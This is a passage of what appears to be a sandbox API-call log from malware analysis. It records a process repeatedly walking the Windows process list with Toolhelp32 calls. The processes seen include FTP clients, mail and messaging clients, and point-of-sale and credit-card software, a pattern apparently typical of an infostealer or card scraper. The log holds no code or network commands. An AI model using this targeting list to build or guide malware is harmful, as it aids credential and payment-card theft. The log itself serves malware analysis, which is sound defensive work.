szExeFile="something.exe")) returned 1 [0110.481] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0110.482] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0110.484] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0110.486] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0110.488] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0110.489] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0110.491] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0110.493] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0110.494] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0110.496] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0110.498] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0110.499] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0110.501] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0110.502] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0110.505] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0110.506] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0110.508] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0110.510] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0110.512] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0110.514] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0110.516] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0110.518] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0110.521] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0110.523] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0110.525] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0110.527] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0110.529] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0110.532] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0110.534] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0110.536] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0110.538] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0110.540] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0110.542] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0110.544] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0110.546] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0110.548] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0110.549] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0110.551] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0110.553] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0110.555] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0110.557] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0110.559] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0110.561] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0110.563] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0110.565] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0110.569] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0110.571] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0110.572] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0110.574] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0110.576] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0110.578] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0110.580] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0110.582] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0110.584] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0110.587] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0110.589] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0110.591] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0110.593] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0110.594] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0110.599] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0110.601] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0110.604] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0110.606] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0110.608] CloseHandle (hObject=0x17cc) returned 1 [0110.608] Sleep (dwMilliseconds=0x64) [0110.724] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x17cc [0110.735] Process32First (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0110.737] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0110.744] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0110.746] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0110.748] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0110.750] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0110.752] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0110.755] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0110.757] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0110.759] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.761] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.763] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0110.766] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.768] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.791] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.793] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.795] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.796] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.798] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.801] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0110.803] Process32Next (in: hSnapshot=0x17cc, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, 